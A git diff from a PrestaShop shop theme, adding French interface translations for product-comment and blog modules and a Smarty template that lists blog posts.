+$_MODULE['<{productcomments}default>productcomments_c4408d335012a56ff58937d78050efad'] = 'Accepter'; +$_MODULE['<{productcomments}default>productcomments_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{productcomments}default>productcomments_8bf0c707232d63bf83b4b2467d2df41a'] = 'Sélection :'; +$_MODULE['<{productcomments}default>productcomments_d00b7f656273a495f555bead0248d6f5'] = 'Aucun commentaire à valider.'; +$_MODULE['<{productcomments}default>productcomments_82bd3dd5eb07bcc37a9649cbb1a5fd33'] = 'Commentaires signalés'; +$_MODULE['<{productcomments}default>productcomments_5e04c941e38f97252e3ed00af80447a2'] = 'Aucun commentaire signalé.'; +$_MODULE['<{productcomments}default>productcomments_7799b301b44c329fc9ec6a3a9c1905e0'] = 'Ajouter un nouveau critère'; +$_MODULE['<{productcomments}default>productcomments_7753ab38f8e113e8af65ab1241331625'] = 'Vous pouvez définir plusieurs critères afin de guider vos clients dans leur commentaire. Par exemple: performance, design etc ...'; +$_MODULE['<{productcomments}default>productcomments_bc58d00e1e42de31a8e58f8dc7d9bdc7'] = 'Vous pouvez ajouter un nouveau critère ci-dessous :'; +$_MODULE['<{productcomments}default>productcomments_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{productcomments}default>productcomments_f255b686708be7c5082cd3f5bab872c1'] = 'Appliquer à'; +$_MODULE['<{productcomments}default>productcomments_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Actif'; +$_MODULE['<{productcomments}default>productcomments_f1d04e02f02d1f13450ae56f213a93f2'] = 'Modifier ce critère'; +$_MODULE['<{productcomments}default>productcomments_9be4d6372a6487e90d8f153c66c1499d'] = 'Ajouter ce critère'; +$_MODULE['<{productcomments}default>productcomments_21a512e9d635e82fc7c7077fc880988b'] = 'Critère'; +$_MODULE['<{productcomments}default>productcomments_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; +$_MODULE['<{productcomments}default>productcomments_ec53a8c4f07baed5d8825072c89799be'] = 'Etat'; +$_MODULE['<{productcomments}default>productcomments_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{productcomments}default>productcomments_8eb0b6ced310b120b12106e8d4bdbdb8'] = 'Gérer le champ d\'action des critères'; +$_MODULE['<{productcomments}default>productcomments_6556e73b0255c988d9fe70141f1d4bd9'] = 'Seuls les critères correspondant à des catégories ou des produits peuvent être configurés ci-dessous:'; +$_MODULE['<{productcomments}default>productcomments_a942d4abf908e5f708ec4dfaa949065e'] = 'Choisissez un critère'; +$_MODULE['<{productcomments}default>productcomments_068f80c7519d0528fb08e82137a72131'] = 'Produits'; +$_MODULE['<{productcomments}default>productcomments_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{productcomments}default>productcomments_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{productcomments}default>productcomments_b9aefa40a54680bb258f9f9569290fae'] = 'Nom du produit'; +$_MODULE['<{productcomments}default>productcomments_99121ab27aaa7472cfada9071c5ba434'] = 'Nom de la catégorie'; +$_MODULE['<{productcomments}default>productcomments_46be1b432f94e9608b015e12c332c67e'] = 'Gérer les commentaires'; +$_MODULE['<{productcomments}default>productcomments_729a51874fe901b092899e9e8b31c97a'] = 'Êtes-vous sûr ?'; +$_MODULE['<{productcomments}default>productcomments_687e376375b560c9261aba93ea5186de'] = 'Aucun commentaire à gérer en ce moment.'; +$_MODULE['<{productcomments}default>productcomments_4494d00c901c9e22ff3b953177205cea'] = 'Êtes-vous sur de vouloir signaler ce commentaire ?'; +$_MODULE['<{productcomments}default>productcomments_4b3b9db8c9784468094acde0f8bf7071'] = 'Note'; +$_MODULE['<{productcomments}default>productcomments_b5c82723bd85856358f9a376bc613998'] = '%1$d personne(s) sur %2$d ont trouvé ce commentaire utile.'; +$_MODULE['<{productcomments}default>productcomments_39630ad6ee79b8653ea89194cdb45bec'] = 'Ce commentaire vous a-t-il été utile ?'; +$_MODULE['<{productcomments}default>productcomments_a6105c0a611b41b08f1209506350279e'] = 'oui'; +$_MODULE['<{productcomments}default>productcomments_7fa3b767c460b54a2be4d49030b349c7'] = 'non'; +$_MODULE['<{productcomments}default>productcomments_28b3b1e564a00f572c5d4e21da986d49'] = 'Reporter un abus'; +$_MODULE['<{productcomments}default>productcomments_fbe2625bf3673be380d043a4bf873f28'] = 'Soyez le premier à donner votre avis'; +$_MODULE['<{productcomments}default>productcomments_08621d00a3a801b9159a11b8bbd69f89'] = 'Aucun commentaire n\'a été publié pour le moment.'; +$_MODULE['<{productcomments}default>productcomments_7966126831926ad29c528b239d69f855'] = 'Donner votre avis'; +$_MODULE['<{productcomments}default>productcomments_b78a3223503896721cca1303f776159b'] = 'Titre'; +$_MODULE['<{productcomments}default>productcomments_221e705c06e231636fdbccfdd14f4d5c'] = 'Votre nom'; +$_MODULE['<{productcomments}default>productcomments_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{productcomments}default>productcomments_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{productcomments}default>productcomments_e81c4e4f2b7b93b481e13a8553c2ae1b'] = 'ou'; +$_MODULE['<{productcomments}default>productcomments_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{productcomments}default>products-comparison_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{productcomments}default>products-comparison_b1897515d548a960afe49ecf66a29021'] = 'Moyenne'; +$_MODULE['<{productcomments}default>products-comparison_bc976f6c3405523cde61f63a7cbe224b'] = 'Voir les avis'; +$_MODULE['<{productcomments}default>tab_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{productcomments}default>default_607d7adc590bb9a615b6fa5bc8a4f2f6'] = 'ID produit est incorrect'; +$_MODULE['<{productcomments}default>default_7b0bf23ae4079e07a3a4cb4d07e2caef'] = 'Le titre est incorrect'; +$_MODULE['<{productcomments}default>default_ddbd56de5feb78ef1aaf60401f8c472b'] = 'Le commentaire est incorrect'; +$_MODULE['<{productcomments}default>default_1b1030b6294e9096a7d7c40d83d61872'] = 'Le nom est incorrect'; +$_MODULE['<{productcomments}default>default_a95dff703b20b1e705210c39b3865bf0'] = 'Vous devez être connecter afin de poster un commentaire'; +$_MODULE['<{productcomments}default>default_a201fbadca94d310a1b62407cdc775d5'] = 'Vous devez donner une note'; +$_MODULE['<{productcomments}default>default_dfbe69c6d9568ecb0e65e7b32ed92a3a'] = 'Le produit n\'a pas été trouvé'; +$_MODULE['<{productcomments}default>default_6d28f2900adb9e500868166f6d04da92'] = 'Vous devez patienter'; +$_MODULE['<{productcomments}default>default_ba8d7ae5dcadfba739f28a777378f208'] = 'secondes avant de poster un nouveau commentaire'; diff --git a/themes/default/modules/psblog/list.tpl b/themes/default/modules/psblog/list.tpl new file mode 100755 index 0000000..8747da9 --- /dev/null +++ b/themes/default/modules/psblog/list.tpl @@ -0,0 +1,138 @@ +
        +
        +

        + {l s='My scrawl' mod='psblog'} +

        + + {if $cart->id_lang == 2} +

        + I’ve created this blog (in French for now …) to share my passions, my sources of inspiration, the big and tiny things that bewitch me, and all the marvels that feed my imagination and fill my world. So get to your French/English dictionaries, waiting for one of our little fairies to translate all my secrets. +
        + Saveria Coste +

        + {/if} + +
        +
        + +
        +{if isset($notfound) && $notfound == true} +

        {l s='The page was not found' mod='psblog'}

        +{else} + +{**} +
        + + + {if isset($post_category) && $post_category->id != 1} + +
        + + {*

        + [ + {l s='Posts in category' mod='psblog'} "{$post_category->name}" + ] +

        *} + + {if $blog_conf.rss_active} +

        RSS

        + {/if} + +
        + +
        {$post_category->description}
        + + {if isset($subcategories) && $subcategories|@count > 0} +

        + {l s='Subcategories :' mod='psblog'}   + {foreach from=$subcategories item=subcat name=subcatlist} + {$subcat.name}{if !$smarty.foreach.subcatlist.last}, {/if} + {/foreach} +

        + {/if} + +
        + + {else} + {*

        [{l s='Posts' mod='psblog'} ]

        *} + + {if $blog_conf.rss_active} +

        RSS

        + {/if} + +
        + {/if} + +
        + + {if isset($search_query)} + {if isset($post_list) && $post_list|@count > 0} +

        {l s='Results for' mod='psblog'} "{$search_query}"

        + {/if} + {/if} + +
        + + {if isset($post_list) && $post_list && $post_list|@count > 0} +
          + {foreach from=$post_list item=post name=publications} +
        • + +
          + {if $post.default_img} + {$post.title} + {/if} +

          + {$post.title} + {if $blog_conf.list_display_date}{$post.date_on|escape:'html':'UTF-8'|date_format:"%d"}{$post.date_on|escape:'html':'UTF-8'|date_format:"%m.%Y"}{/if} +

          +
          +
          +
          {$post.excerpt}
          +

          + {*if $blog_conf.category_active && isset($post.categories) && $post.categories|@count > 0} + {l s='Posted on' mod='psblog'} + {foreach from=$post.categories item=post_category name=post_category_list} + {$post_category.name} + {/foreach} + + + {/if*} + {*if $blog_conf.comment_active && $post.allow_comments && $post.nb_comments > 0} +  |  - {$post.nb_comments} {if $post.nb_comments > 1}{l s='comments' mod='psblog'}{else}{l s='comment' mod='psblog'}{/if} + {/if*} +

          +
          +
          + {l s='Read more' mod='psblog'} + +
          +
          +
        • + {/foreach} +
        + + {if isset($paginationLink)} + {if isset($back) && $back}{l s='Previous articles' mod='psblog'} »   {/if} + {if isset($next) && $next}« {l s='Newest Articles' mod='psblog'}{/if} + {/if} + +
        + + {else} + {if isset($search_query)} +

        {l s='No results for' mod='psblog'} "{$search_query}"

        + {elseif isset($post_category)} +

        {l s='There is no posts in this category' mod='psblog'}

        + {else} +

        {l s='There is no posts' mod='psblog'}

        + {/if} + {/if} + +
        +
        +{/if} +
        \ No newline at end of file diff --git a/themes/default/modules/psblog/translations/en.php b/themes/default/modules/psblog/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/psblog/translations/fr.php b/themes/default/modules/psblog/translations/fr.php new file mode 100755 index 0000000..a5ca6d1 --- /dev/null +++ b/themes/default/modules/psblog/translations/fr.php @@ -0,0 +1,286 @@ +psblog_8fc03f099c564b3ee98ed9b4ac283849'] = 'Prestablog'; +$_MODULE['<{psblog}default>psblog_4359ea8045accdf7beeb5ac64f89ee42'] = 'Blog module, articles, catégories, commentaires et produits associés'; +$_MODULE['<{psblog}default>psblog_c6af1ada2bc0406cc5e34d77ef91bbe4'] = 'êtes vous sûr de vouloir supprimer tous les articles du blog, catégories et commentaires ?'; +$_MODULE['<{psblog}default>psblog_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}default>psblog_47edbb9e6d6e6e874eb40c274a0e2e0f'] = 'Articles'; +$_MODULE['<{psblog}default>psblog_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Catégories'; +$_MODULE['<{psblog}default>psblog_9f18ee985a83967e88020e0cd4c54264'] = 'Commentaires'; +$_MODULE['<{psblog}default>psblog_c4c95c36570d5a8834be5e88e2f0f6b2'] = 'Informations'; +$_MODULE['<{psblog}default>psblog_a9b036d3e91d53892d6a67c31327e456'] = 'Doit avoir les droits d\'écriture'; +$_MODULE['<{psblog}default>psblog_475fe604d38568b472158f340cad1806'] = 'doit être une valeur numérique'; +$_MODULE['<{psblog}default>psblog_c888438d14855d7d96a2724ee9c306bd'] = 'Configuration mise à jour'; +$_MODULE['<{psblog}default>psblog_ba7db09dcdb836ddf836fba46391c4b9'] = 'Les images ont étés regénérées'; +$_MODULE['<{psblog}default>psblog_25ee20a708de2b0d8dfcf84f8fbec602'] = 'Le sitemap google a été regénéré'; +$_MODULE['<{psblog}default>psblog_0db377921f4ce762c62526131097968f'] = 'Général'; +$_MODULE['<{psblog}default>psblog_170c933e5b73459c77b30f8f931dd0a3'] = 'Activer les catégories'; +$_MODULE['<{psblog}default>psblog_3a09d1361bbb211ed105d5429b96b8e8'] = 'Activer les produits liés'; +$_MODULE['<{psblog}default>psblog_3a35a6121f907ae9259eac88acf5ecc0'] = 'Activer les commentaires'; +$_MODULE['<{psblog}default>psblog_67dad6b3e543cc976cba0085d1e94b3b'] = 'Activer les articles liés'; +$_MODULE['<{psblog}default>psblog_ddc06455e692e867574f72093664f9a3'] = 'Activer le flux RSS'; +$_MODULE['<{psblog}default>psblog_e9c57d0c885664ad1d4e13589cfb594a'] = 'Configuration des listes d\'articles'; +$_MODULE['<{psblog}default>psblog_411f31d3d8f3266163725a6742a97c1f'] = 'Nombre d\'articles par page'; +$_MODULE['<{psblog}default>psblog_8e9784d40744d554a0e8a7b8000d2e1c'] = 'Afficher la date'; +$_MODULE['<{psblog}default>psblog_c5ea083915894eae3fed1536a7e435ab'] = 'Largeur des images dans les listes'; +$_MODULE['<{psblog}default>psblog_a38b4c09544995170f877edbd61a9134'] = 'Configuration des détails d\'articles'; +$_MODULE['<{psblog}default>psblog_c63d9dbdd50b2e41df48f81c14bb8a1a'] = 'Largeur des images'; +$_MODULE['<{psblog}default>psblog_9ac8b6041ff786c98a2621a7ae9514ea'] = 'Activer la popin pour les images'; +$_MODULE['<{psblog}default>psblog_c4885f3225502850399bda258916afb5'] = 'Activer Addthis'; +$_MODULE['<{psblog}default>psblog_ba1cf1ed73ca2523d60e31e93fd3e42e'] = 'Configuration des produits liés'; +$_MODULE['<{psblog}default>psblog_47a227265b479a1cbd341c2b720ced20'] = 'Activer l\'affichage des articles liés sur la page produit'; +$_MODULE['<{psblog}default>psblog_ecbb4644b3391c1819937120fef83e42'] = 'Format des images'; +$_MODULE['<{psblog}default>psblog_19888b7bafb938360cab0cd3e6dfcd2f'] = 'Configuration des commentaires'; +$_MODULE['<{psblog}default>psblog_9ca2adc05abbe3cc0a659a16fd7d5edc'] = 'Tous les commentaires doivent être validés par un employé'; +$_MODULE['<{psblog}default>psblog_66b06316f84eb73075bca0e27f2a5581'] = 'Autoriser les commentaires anonymes'; +$_MODULE['<{psblog}default>psblog_2e53b6c4c0d39a73718342ab2366ae37'] = 'Délais min entre 2 commentaires du même l\'utilisateur '; +$_MODULE['<{psblog}default>psblog_783e8e29e6a8c3e22baa58a19420eb4f'] = 'secondes'; +$_MODULE['<{psblog}default>psblog_297cfd59ee83c1265e540245ff3088a0'] = 'Longueur minimum du nom d\'utilisateur'; +$_MODULE['<{psblog}default>psblog_2593c7ce3ff937293feb1e61c152e551'] = 'caractères'; +$_MODULE['<{psblog}default>psblog_376af8d431de78ef7e1a7aa315e4181f'] = 'Configuration flux RSS'; +$_MODULE['<{psblog}default>psblog_915031b162ffa226f96bd6f03fae9897'] = 'Champ utilisé pour le contenu'; +$_MODULE['<{psblog}default>psblog_6ca8bf4766b9dc7b1ea8b69562faac3f'] = 'Résumé'; +$_MODULE['<{psblog}default>psblog_f15c1cae7882448b3fb0404682e17e61'] = 'Contenu'; +$_MODULE['<{psblog}default>psblog_4f7ac166120adba64ad84f4e0f0e64d3'] = 'Configuration Bloc derniers articles'; +$_MODULE['<{psblog}default>psblog_a97ed15ac9ea1b484219f5f1d3302559'] = 'Nombre d\'articles à afficher'; +$_MODULE['<{psblog}default>psblog_e19d6dfda1bd423b4992b8ffee122d6d'] = 'Page d\'accueil, afficher au centre'; +$_MODULE['<{psblog}default>psblog_02fbc93b5381410b66801e7fd519ee30'] = 'Au lieu de l\'afficher sur une colonne'; +$_MODULE['<{psblog}default>psblog_689fdcddfb318e892e3bb79d963cf44e'] = 'Afficher les images'; +$_MODULE['<{psblog}default>psblog_6fed80a8c8ded2f5e14a687e4a443abc'] = 'Largeur des images'; +$_MODULE['<{psblog}default>psblog_5cabaf9ae683ef3f3b8da29b3b98d6fa'] = 'Configuration Bloc catégories'; +$_MODULE['<{psblog}default>psblog_638c5a51a25a56ae4b8d6fa975be0d59'] = 'Afficher les sous catégories'; +$_MODULE['<{psblog}default>psblog_09530305d87f6db576910c16c353430c'] = 'Configuration articles à la une'; +$_MODULE['<{psblog}default>psblog_05432e198227a661b6336789214990a6'] = 'Bloc derniers articles'; +$_MODULE['<{psblog}default>psblog_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{psblog}default>psblog_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{psblog}default>psblog_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Position'; +$_MODULE['<{psblog}default>psblog_dcf7406b25bacce811f663ebbbdf3d02'] = 'Bloc catégories'; +$_MODULE['<{psblog}default>psblog_5b23aa83597cb5c9c9022f8742734e65'] = 'Bloc articles à la une'; +$_MODULE['<{psblog}default>psblog_194071376900e85a06df8ada7d9d3412'] = 'Bloc archives'; +$_MODULE['<{psblog}default>psblog_35d0e6ef5f54ef8c8c1ada04cba24ce6'] = 'Bloc recherche'; +$_MODULE['<{psblog}default>psblog_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{psblog}default>psblog_8625e1de7be14c39b1d14dc03d822497'] = 'Outils'; +$_MODULE['<{psblog}default>psblog_e67e21b337b1b1d76943db5d9212f45e'] = 'Regénérer toutes les images du blog'; +$_MODULE['<{psblog}default>psblog_164a02e97c71395688ebfc9c55163ae7'] = 'Utile si vous changer la taille des images'; +$_MODULE['<{psblog}default>psblog_62b0078b5f664287a1bb22d6df311fc5'] = 'Regénérer le sitemap xml Google'; +$_MODULE['<{psblog}default>psblog_a3e4ffc36ad02aa462d56cb9c2aad029'] = 'Si la réécriture d\'url ne fonctionne pas, vérifiez que ces lignes existent dans votre .htaccess. Dans le cas contraire vous pouvez copier manuellement ces lignes en haut de votre fichier .htaccess'; +$_MODULE['<{psblog}default>psblog_03a3d5c1bb27f74776df698a0a9a495e'] = 'Pour déclarer le sitemap XML du blog aux moteurs de recherche, ajoutez cette ligne à la fin de votre fichier robots.txt'; +$_MODULE['<{psblog}default>psblog_83571b715e3bf05d1afca7bf08bae438'] = 'Prestablog configuration'; +$_MODULE['<{psblog}default>psblog_51510aece4fa3915c876fe1db7aa9e08'] = 'Si vous voulez ajouter des articles, vous devez aller dans l\'onglet Blog sur le menu de navigation.'; +$_MODULE['<{psblog}default>psblog_f7a1e81918f1c549be70efac43efd7ed'] = 'Derniers articles'; +$_MODULE['<{psblog}default>psblog_86f5978d9b80124f509bdb71786e929e'] = 'Janvier'; +$_MODULE['<{psblog}default>psblog_659e59f062c75f81259d22786d6c44aa'] = 'Février'; +$_MODULE['<{psblog}default>psblog_fa3e5edac607a88d8fd7ecb9d6d67424'] = 'Mars'; +$_MODULE['<{psblog}default>psblog_3fcf026bbfffb63fb24b8de9d0446949'] = 'Avril'; +$_MODULE['<{psblog}default>psblog_195fbb57ffe7449796d23466085ce6d8'] = 'Mai'; +$_MODULE['<{psblog}default>psblog_688937ccaf2a2b0c45a1c9bbba09698d'] = 'Juin'; +$_MODULE['<{psblog}default>psblog_1b539f6f34e8503c97f6d3421346b63c'] = 'Juillet'; +$_MODULE['<{psblog}default>psblog_41ba70891fb6f39327d8ccb9b1dafb84'] = 'Août'; +$_MODULE['<{psblog}default>psblog_cc5d90569e1c8313c2b1c2aab1401174'] = 'Septembre'; +$_MODULE['<{psblog}default>psblog_eca60ae8611369fe28a02e2ab8c5d12e'] = 'Octobre'; +$_MODULE['<{psblog}default>psblog_7e823b37564da492ca1629b4732289a8'] = 'Novembre'; +$_MODULE['<{psblog}default>psblog_82331503174acbae012b2004f6431fa5'] = 'Décembre'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Statut'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_bb34a159a88035cce7ef1607e7907f8f'] = 'Nom de la catégorie'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_30269022e9d8f51beaabb52e5d0de2b7'] = 'Parent'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_4994a8ffeba4ac3140beb89e8d41f174'] = 'Langue'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Position'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_5dc52ca9ffdc26147075682c92a0a853'] = 'Articles'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_9ea67be453eaccf020697b4654fc021a'] = 'Enregistrer et rester'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_0885f0c211f74834f0109c5abaf4cdc4'] = 'Langue :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_4579854bbe58052c10bd0902e94a5972'] = 'Catégorie parente :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Catégorie'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_afcfe6f898c9c8d8a283248af22a27f9'] = 'Nom : '; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_2d9fb9f61c20b7c26618f7d9cd3237c4'] = 'Description :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_4284e052a0050c1d03ce2d6e975bb1c3'] = 'Sera affichée sous le titre de la page catégorie du blog'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_0d9533f5b9cfa3a47dc6b64959e4d985'] = 'Méta description :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_d10d924ada404af22674202df72584aa'] = 'Meta description pour les moteurs de recherche'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_eeb485afba54e0dab12f0c451b3e0d37'] = 'Méta mots-clés :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Séparer les mots par ,'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_ca9499bc0c94be9a3959df97fabd32df'] = 'URL simplifiée :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_2ef9671539ece086eb5c74c851a08565'] = 'Seules les lettres et le signe - sont autorisés'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_de6385b8458ebc1879996159b7267d2b'] = 'Position :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_ce0430dafc79841f9abba23c56ddf6dd'] = 'Statut :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_1bd33faf04b6c7e0090de4f3e5915178'] = 'Accès pour le groupe :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_48b1fab1ae834270bda334e3a56528ce'] = 'Boutiques associées :'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Description'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_03937134cedab9078be39a77ee3a48a0'] = 'Groupe'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_9f82518d468b9fee614fcc92f76bb163'] = 'Boutique'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_02a3a357710cc2a5dfdfb74ed012fb59'] = 'Url'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_7d7559ccac6bc30a4d985db11cb34a3a'] = 'Meta keywords'; +$_MODULE['<{psblog}default>adminblogcategoriescontroller_3f64b2beede1082fd32ddb0bf11a641f'] = 'Meta description'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Supprimer les éléments sélectionnés ?'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_5706de961fb376d701be6e7762d8b09c'] = 'En attente'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_6f8063417ab31f38d864c28302f3de2f'] = 'Accepté'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_27590e5bda23b4a9c8d2a67c01ac68c1'] = 'Refusé'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Statut'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_03d947a2158373c3b9d74325850cb8b9'] = 'Article'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_9f82518d468b9fee614fcc92f76bb163'] = 'Boutique'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_263ab2eac2168d940fe76675ef8b3081'] = 'langue'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_0be8406951cdfda82f00f79328cf4efc'] = 'Commentaire'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_a16bf6c722e10df818ce2562262f1e23'] = 'Date :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_cd5a4a8a32f2215976a8d528b81497fa'] = 'Titre de l\'article :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_1e861e067ed86126e05672e048709c86'] = 'Client :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_41a1fc8a540129e196c922670fd7e8c1'] = 'Boutique :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_8bee137c7f0aa9fbe93e6924cee1fe3f'] = 'Langue :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_3edc11259762632a5c947111bc101233'] = 'Message :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_ce0430dafc79841f9abba23c56ddf6dd'] = 'Statut :'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_b77006f2d0398fa7e68ef1a893ef850c'] = 'Post ID'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_ccf107a5d46c6501c9f2f4345400dc2e'] = 'Shop ID'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_84560d7d7c4d97c640d09a58491a3677'] = 'Lang ID'; +$_MODULE['<{psblog}default>adminblogcommentscontroller_d37c2bf1bd3143847fca087b354f920e'] = 'Customer ID'; +$_MODULE['<{psblog}default>adminblogpostscontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{psblog}default>adminblogpostscontroller_48a688e2c614f9afa08c207d3556c2c8'] = 'Supprimer les éléments sélectionnés ?'; +$_MODULE['<{psblog}default>adminblogpostscontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}default>adminblogpostscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{psblog}default>adminblogpostscontroller_b78a3223503896721cca1303f776159b'] = 'Titre'; +$_MODULE['<{psblog}default>adminblogpostscontroller_263ab2eac2168d940fe76675ef8b3081'] = 'Langue'; +$_MODULE['<{psblog}default>adminblogpostscontroller_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{psblog}default>adminblogpostscontroller_735f7bed9808abe3b3c6bb67b9634a31'] = 'Date de publication'; +$_MODULE['<{psblog}default>adminblogpostscontroller_7dc185556694fbc135c35e7cb33ff2ea'] = 'Commentaires en attente de modération'; +$_MODULE['<{psblog}default>adminblogpostscontroller_11162316041a099669a0ebc4ff464089'] = 'Articles publiés'; +$_MODULE['<{psblog}default>adminblogpostscontroller_400fbfc3ac6188ac3caadd5881595563'] = 'Nombre total d\'articles'; +$_MODULE['<{psblog}default>adminblogpostscontroller_b04f2c8a90cfc485fc990dc8dc4ba293'] = 'Configuration du module'; +$_MODULE['<{psblog}default>adminblogpostscontroller_f15c1cae7882448b3fb0404682e17e61'] = 'Contenu'; +$_MODULE['<{psblog}default>adminblogpostscontroller_608dd608cf6d57a7acd54303a0f8c575'] = 'Langue :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_1a9693b440ee61940b01583cf287cee3'] = 'Titre :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_c7bcdbba1c8efd06cc7fa38ccf4668b3'] = 'Résumé :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_0de4e2683f2ed7f457be77f7d99b4829'] = 'Description courte pour les listes'; +$_MODULE['<{psblog}default>adminblogpostscontroller_cf09c94e58ca1723017b4248909577d7'] = 'Contenu :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_3a0ef7f393fdd2f83c32f3a26a89f03a'] = 'Medias'; +$_MODULE['<{psblog}default>adminblogpostscontroller_438a77306fa43b478f9b19e31dc3fbf6'] = 'Images :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_be53a0541a6d36f6ecb879fa2c584b08'] = 'Image'; +$_MODULE['<{psblog}default>adminblogpostscontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Par défaut'; +$_MODULE['<{psblog}default>adminblogpostscontroller_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Position'; +$_MODULE['<{psblog}default>adminblogpostscontroller_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{psblog}default>adminblogpostscontroller_bec9f83a46175073cf668d0ab606fa17'] = 'Êtes-vous sûr de vouloir supprimer cette image ?'; +$_MODULE['<{psblog}default>adminblogpostscontroller_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{psblog}default>adminblogpostscontroller_bb34a159a88035cce7ef1607e7907f8f'] = 'Titre'; 